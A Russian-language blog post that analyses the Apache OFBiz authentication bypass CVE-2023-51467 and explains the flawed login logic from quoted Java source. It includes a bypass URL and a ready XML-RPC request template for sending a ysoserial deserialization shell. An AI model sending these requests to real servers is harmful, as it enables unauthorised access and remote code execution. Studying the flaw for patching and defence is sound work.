Oh Yes, Ping Pong: Глубже в Apache Ofbiz CVE-2023-51467

Под занавес прошлого года мы стали свидетелями скандальной уязвимости Apache Ofbiz (подробности здесь), которая позволяла обойти аутентификацию и использовать XML-RPC в своих интересах. Давайте рассмотрим, что это такое и как это происходит. 😺


Суть проблемы заключается в том, что XML-RPC, как правило, должен использоваться только с действительными учетными данными. Давайте вглядимся в момент аутентификации пользователя в файле LoginWorker.java:


       List<String> unpwErrMsgList = new LinkedList<String>();
        if (UtilValidate.isEmpty(username)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
        if (!unpwErrMsgList.isEmpty()) {
            request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
            return  requirePasswordChange ? "requirePasswordChange" : "error";
        }


Все начинается с requirePasswordChange, который не обращает внимания на то, введены ли действительные учетные данные. Если пользователь передает параметр "Y", то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange.


Далее идем в checkLogin(), где происходит следующий момент:


if (username == null
                    || (password == null && token == null)
                    || "error".equals(login(request, response)))

 


Фактически мы можем обойти проверку, вставив любой символ, и условие "error".equals(login(request, response)) не сработает, так как мы заставили login(...) вернуть requirePasswordChange.


Теперь мы можем манипулировать XML-RPC:


/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y


Через сериализацию передаем наш shell, созданный с использованием ysoserial (ссылка):


    POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
    Host: localhost:8443
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Content-Length: 4002
    Content-Type: application/xml

    <?xml version="1.0"?>
    <methodCall>
      <methodName>Methodname</methodName>
      <params>
        <param>
        <value>
          <struct>
            <member>
              <name>test</name>
              <value>
                <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
              </value>
            </member>
          </struct>
        </value>
      </param>
    </params>
    </methodCall>


*

Отправить комментарий (0)
Новые Старые